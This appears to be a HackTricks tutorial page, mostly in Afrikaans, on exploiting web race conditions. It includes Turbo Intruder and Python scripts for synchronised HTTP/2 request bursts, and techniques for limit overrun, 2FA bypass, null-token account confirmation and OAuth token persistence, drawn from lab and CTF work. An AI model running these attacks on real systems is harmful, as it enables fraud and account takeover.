# Race Condition
\ Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) om maklik te bou en **outomatiese werksvloei** te skep wat deur die wêreld se **mees gevorderde** gemeenskapstools aangedryf word.\ Kry Toegang Vandag: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %} {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} {% hint style="warning" %} Vir 'n diep begrip van hierdie tegniek, kyk na die oorspronklike verslag in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) {% endhint %} ## Enhancing Race Condition Attacks Die hoofhindernis om voordeel te trek uit race-omstandighede is om te verseker dat verskeie versoeke gelyktydig hanteer word, met **baie min verskil in hul verwerkings tye—ideaal gesproke, minder as 1ms**. Hier kan jy 'n paar tegnieke vir die Sinchronisering van Versoeke vind: #### HTTP/2 Enkel-Pakket Aanval vs. HTTP/1.1 Laaste-Byte Sinchronisering * **HTTP/2**: Ondersteun die sending van twee versoeke oor 'n enkele TCP-verbinding, wat die impak van netwerk jitter verminder. egter, as gevolg van bediener-kant variasies, mag twee versoeke nie genoeg wees vir 'n konsekwente race-omstandigheid uitbuiting nie. * **HTTP/1.1 'Laaste-Byte Sync'**: Maak dit moontlik om die meeste dele van 20-30 versoeke vooraf te stuur, terwyl 'n klein fragment teruggehou word, wat dan saamgestuur word, wat gelyktydige aankoms by die bediener bereik. **Voorbereiding vir Laaste-Byte Sync** behels: 1. Stuur koptekste en liggaamsdata minus die finale byte sonder om die stroom te beëindig. 2. Pauzeer vir 100ms na die aanvanklike sending. 3. Deaktiveer TCP\_NODELAY om Nagle se algoritme te benut vir die bundeling van finale rame. 4. Ping om die verbinding op te warm. Die daaropvolgende sending van teruggehoue rame moet lei tot hul aankoms in 'n enkele pakket, verifieerbaar via Wireshark. Hierdie metode is nie van toepassing op statiese lêers nie, wat tipies nie betrokke is by RC-aanvalle nie. ### Adapting to Server Architecture Om die teiken se argitektuur te verstaan is van kardinale belang. Voorpunt bedieners mag versoeke anders roete, wat tydsberekening beïnvloed. Voorkomende bediener-kant verbinding opwarming, deur onbelangrike versoeke, mag versoek tydsberekening normaliseer. #### Handling Session-Based Locking Raamwerke soos PHP se sessiehandler serialiseer versoeke volgens sessie, wat moontlik kwesbaarhede verdoesel. Die gebruik van verskillende sessietokens vir elke versoek kan hierdie probleem omseil. #### Overcoming Rate or Resource Limits As verbinding opwarming nie effektief is nie, kan die doelbewuste onttriggering van webbedieners se koers of hulpbronlimiet vertragings deur 'n vloed van dummy versoeke die enkel-pakket aanval fasiliteer deur 'n bediener-kant vertraging te veroorsaak wat bevorderlik is vir race-omstandighede. ## Attack Examples * **Tubo Intruder - HTTP2 enkel-pakket aanval (1 eindpunt)**: Jy kan die versoek na **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`) stuur, jy kan die waarde wat jy wil brute force vir **`%s`** soos in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` verander en dan die **`examples/race-single-packer-attack.py`** uit die keuselys kies:
As jy **verskillende waardes** gaan stuur, kan jy die kode met hierdie een wat 'n woordlys van die klembord gebruik, aanpas: ```python passwords = wordlists.clipboard for password in passwords: engine.queue(target.req, password, gate='race1') ``` {% hint style="warning" %} As die web nie HTTP2 ondersteun nie (slegs HTTP1.1) gebruik `Engine.THREADED` of `Engine.BURP` in plaas van `Engine.BURP2`. {% endhint %} * **Tubo Intruder - HTTP2 enkele-pakket aanval (Verskeie eindpunte)**: In die geval dat jy 'n versoek na 1 eindpunt moet stuur en dan verskeie na ander eindpunte om die RCE te aktiveer, kan jy die `race-single-packet-attack.py` skrip met iets soos: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) # Hardcode the second request for the RC confirmationReq = '''POST /confirm?token[]= HTTP/2 Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU Content-Length: 0 ''' # For each attempt (20 in total) send 50 confirmation requests. for attempt in range(20): currentAttempt = str(attempt) username = 'aUser' + currentAttempt # queue a single registration request engine.queue(target.req, username, gate=currentAttempt) # queue 50 confirmation requests - note that this will probably sent in two separate packets for i in range(50): engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` * Dit is ook beskikbaar in **Repeater** via die nuwe '**Stuur groep in parallel**' opsie in Burp Suite. * Vir **limit-overrun** kan jy net die **dieselfde versoek 50 keer** in die groep voeg. * Vir **connection warming** kan jy **byvoeg** aan die **begin** van die **groep** 'n paar **versoeke** na 'n nie-statiese deel van die webbediener. * Vir **delaying** die proses **tussen** die verwerking van **een versoek en 'n ander** in 'n 2 substates stappe, kan jy **extra versoeke tussen** beide versoeke voeg. * Vir 'n **multi-endpoint** RC kan jy begin om die **versoek** te stuur wat **na die versteekte toestand** gaan en dan **50 versoeke** net daarna wat **die versteekte toestand** benut.
* **Geoutomatiseerde python skrip**: Die doel van hierdie skrip is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend verifieer totdat die verifikasietoken van die nuwe e-pos by die laaste e-pos aankom (dit is omdat daar in die kode 'n RC gesien is waar dit moontlik was om 'n e-pos te wysig, maar die verifikasie na die ou een gestuur is omdat die veranderlike wat die e-pos aandui reeds met die eerste een bevolk was).\ Wanneer die woord "objetivo" in die ontvangde e-posse gevind word, weet ons ons het die verifikasietoken van die veranderde e-pos ontvang en beëindig ons die aanval. ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge from h2spacex import H2OnTlsConnection from time import sleep from h2spacex import h2_frames import requests cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg" # change these headers headersObjetivo= """accept: */* content-type: application/x-www-form-urlencoded Cookie: """+cookie+""" Content-Length: 112 """ bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827' headersVerification= """Content-Length: 1 Cookie: """+cookie+""" """ CSRF="42a08872-610a-4965-9553-22d7b3aa1827" host = "94.237.56.46" puerto =39697 url = "https://"+host+":"+str(puerto)+"/email/" response = requests.get(url, verify=False) while "objetivo" not in response.text: urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/" responseDeleteMails = requests.get(urlDeleteMails, verify=False) #print(response.text) # change this host name to new generated one Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" } data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile" responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False) print(responseReset.status_code) h2_conn = H2OnTlsConnection( hostname=host, port_number=puerto ) h2_conn.setup_connection() try_num = 100 stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num) all_headers_frames = [] # all headers frame + data frames which have not the last byte all_data_frames = [] # all data frames which contain the last byte for i in range(0, try_num): last_data_frame_with_last_byte='' if i == try_num/2: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501 method='POST', headers_string=headersObjetivo, scheme='https', stream_id=stream_ids_list[i], authority=host, body=bodyObjetivo, path='/challenge/api/profile' ) else: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( method='GET', headers_string=headersVerification, scheme='https', stream_id=stream_ids_list[i], authority=host, body=".", path='/challenge/api/sendVerification' ) all_headers_frames.append(header_frames_without_last_byte) all_data_frames.append(last_data_frame_with_last_byte) # concatenate all headers bytes temp_headers_bytes = b'' for h in all_headers_frames: temp_headers_bytes += bytes(h) # concatenate all data frames which have last byte temp_data_bytes = b'' for d in all_data_frames: temp_data_bytes += bytes(d) h2_conn.send_bytes(temp_headers_bytes) # wait some time sleep(0.1) # send ping frame to warm up connection h2_conn.send_ping_frame() # send remaining data frames h2_conn.send_bytes(temp_data_bytes) resp = h2_conn.read_response_from_socket(_timeout=3) frame_parser = h2_frames.FrameParser(h2_connection=h2_conn) frame_parser.add_frames(resp) frame_parser.show_response_of_sent_requests() print('---') sleep(3) h2_conn.close_connection() response = requests.get(url, verify=False) ``` ### Raw BF Voor die vorige navorsing was daar 'n paar payloads wat gebruik is wat net probeer het om die pakkette so vinnig as moontlik te stuur om 'n RC te veroorsaak. * **Repeater:** Kyk na die voorbeelde van die vorige afdeling. * **Intruder**: Stuur die **request** na **Intruder**, stel die **number of threads** op **30** binne die **Options menu** en kies as payload **Null payloads** en genereer **30.** * **Turbo Intruder** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, pipeline=False ) a = ['Session=','Session=','Session='] for i in range(len(a)): engine.queue(target.req,a[i], gate='race1') # open TCP connections and send partial requests engine.start(timeout=10) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` * **Python - asyncio** ```python import asyncio import httpx async def use_code(client): resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"}) return resp.text async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client))) # Get responses results = await asyncio.gather(*tasks, return_exceptions=True) # Print results for r in results: print(r) # Async2sync sleep await asyncio.sleep(0.5) print(results) asyncio.run(main()) ``` ## **RC Metodologie** ### Limit-oortreding / TOCTOU Dit is die mees basiese tipe van 'n race condition waar **kwesbaarhede** wat **verskyn** in plekke wat **die aantal kere wat jy 'n aksie kan uitvoer, beperk**. Soos om dieselfde afslagkode verskeie kere in 'n webwinkel te gebruik. 'n Baie maklike voorbeeld kan gevind word in [**hierdie verslag**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) of in [**hierdie fout**](https://hackerone.com/reports/759247)**.** Daar is baie variasies van hierdie tipe aanval, insluitend: * 'n Geskenkkaart verskeie kere inlos * 'n Produk verskeie kere beoordeel * Kontant onttrek of oordra bo jou rekeningbalans * 'n Enkele CAPTCHA-oplossing hergebruik * 'n Anti-brute-force koerslimiet omseil ### **Versteekte substates** Die benutting van komplekse race conditions behels dikwels die benutting van kort geleenthede om met versteekte of **onbedoelde masjien substates** te kommunikeer. Hier is hoe om dit aan te pak: 1. **Identifiseer Potensiële Versteekte Substates** * Begin deur eindpunte te identifiseer wat kritieke data, soos gebruikersprofiele of wagwoordherstelprosesse, wysig of mee kommunikeer. Fokus op: * **Berging**: Verkies eindpunte wat server-kant volhoubare data manipuleer bo dié wat data kliënt-kant hanteer. * **Aksie**: Soek na operasies wat bestaande data verander, wat meer waarskynlik is om benutbare toestande te skep in vergelyking met dié wat nuwe data byvoeg. * **Sleuteling**: Suksesvolle aanvalle behels gewoonlik operasies wat op dieselfde identifiseerder gesleutel is, bv. gebruikersnaam of hersteltoken. 2. **Voer Aanvanklike Probering Uit** * Toets die geïdentifiseerde eindpunte met race condition aanvalle, en let op enige afwykings van verwagte uitkomste. Onverwagte reaksies of veranderinge in toepassingsgedrag kan 'n kwesbaarheid aandui. 3. **Demonstreer die Kwesbaarheid** * Beperk die aanval tot die minimale aantal versoeke wat nodig is om die kwesbaarheid te benut, dikwels net twee. Hierdie stap mag verskeie pogings of outomatisering vereis weens die presiese tydsberekening wat betrokke is. ### Tydsensitiewe Aanvalle Presisie in die tydsberekening van versoeke kan kwesbaarhede onthul, veral wanneer voorspelbare metodes soos tydstempels vir sekuriteits tokens gebruik word. Byvoorbeeld, die generering van wagwoordherstel tokens gebaseer op tydstempels kan identiese tokens vir gelyktydige versoeke toelaat. **Om te Benut:** * Gebruik presiese tydsberekening, soos 'n enkele pakket aanval, om gelyktydige wagwoordherstel versoeke te maak. Identiese tokens dui op 'n kwesbaarheid aan. **Voorbeeld:** * Versoek twee wagwoordherstel tokens op dieselfde tyd en vergelyk hulle. Ooreenstemmende tokens dui op 'n fout in token generasie aan. **Kyk na hierdie** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **om dit te probeer.** ## Versteekte substates gevalstudies ### Betaal & voeg 'n Item by Kyk na hierdie [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) om te sien hoe om te **betaal** in 'n winkel en **'n ekstra** item by te voeg wat jy **nie hoef te betaal nie**. ### Bevestig ander e-posse Die idee is om **'n e-posadres te verifieer en dit terselfdertyd na 'n ander een te verander** om uit te vind of die platform die nuwe een wat verander is, verifieer. ### Verander e-pos na 2 e-posadresse Koekie-gebaseerd Volgens [**hierdie navorsing**](https://portswigger.net/research/smashing-the-state-machine) was Gitlab kwesbaar vir 'n oorneem op hierdie manier omdat dit mag **stuur** die **e-posverifikasietoken van een e-pos na die ander e-pos**. **Kyk na hierdie** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **om dit te probeer.** ### Versteekte Databasis toestande / Bevestiging Omseiling As **2 verskillende skrywe** gebruik word om **inligting** binne 'n **databasis** toe te voeg, is daar 'n klein tydsdeel waar **slegs die eerste data geskryf is** binne die databasis. Byvoorbeeld, wanneer 'n gebruiker geskep word, kan die **gebruikersnaam** en **wagwoord** **geskryf** word en **dan die token** om die nuut geskepte rekening te bevestig, geskryf word. Dit beteken dat vir 'n kort tyd die **token om 'n rekening te bevestig is null**. Daarom kan **die registrasie van 'n rekening en die stuur van verskeie versoeke met 'n leë token** (`token=` of `token[]=` of enige ander variasie) om die rekening onmiddellik te bevestig, toelaat om 'n **rekening te bevestig** waar jy nie die e-pos beheer nie. **Kyk na hierdie** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **om dit te probeer.** ### Omseiling van 2FA Die volgende pseudo-kode is kwesbaar vir race condition omdat daar in 'n baie kort tyd die **2FA nie afgedwing** word terwyl die sessie geskep word: ```python session['userid'] = user.userid if user.mfa_enabled: session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` ### OAuth2 ewige volharding Daar is verskeie [**OAUth verskaffers**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Hierdie dienste sal jou toelaat om 'n toepassing te skep en gebruikers te verifieer wat die verskaffer geregistreer het. Om dit te doen, sal die **klient** jou **toepassing** moet **toelaat** om toegang te verkry tot sommige van hul data binne die **OAUth verskaffer**.\ So, tot hier is dit net 'n algemene aanmelding met google/linkedin/github... waar jy 'n bladsy te sien kry wat sê: "_Toepassing \ wil toegang tot jou inligting hê, wil jy dit toelaat?_" #### Race Condition in `authorization_code` Die **probleem** verskyn wanneer jy dit **aanvaar** en outomaties 'n **`authorization_code`** na die kwaadwillige toepassing stuur. Dan misbruik hierdie **toepassing 'n Race Condition in die OAUth diensverskaffer om meer as een AT/RT** (_Authentication Token/Refresh Token_) van die **`authorization_code`** vir jou rekening te genereer. Basies, dit sal die feit misbruik dat jy die toepassing aanvaar het om toegang tot jou data te verkry om **verskeie rekeninge te skep**. Dan, as jy **stop om die toepassing toe te laat om toegang tot jou data te verkry, sal een paar AT/RT verwyder word, maar die ander sal steeds geldig wees**. #### Race Condition in `Refresh Token` Sodra jy 'n **geldige RT** verkry het, kan jy probeer om dit te **misbruik om verskeie AT/RT** te genereer en **selfs as die gebruiker die toestemmings kanselleer** vir die kwaadwillige toepassing om toegang tot sy data te verkry, **sal verskeie RT's steeds geldig wees.** ## **RC in WebSockets** In [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) kan jy 'n PoC in Java vind om websocket-boodskappe in **parallel** te stuur om **Race Conditions ook in Web Sockets** te misbruik. ## Verwysings * [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) * [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) * [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140) * [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) * [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions) {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks * Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
\ Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) om maklik te bou en **werkvloei te outomatiseer** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\ Kry Toegang Vandag: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}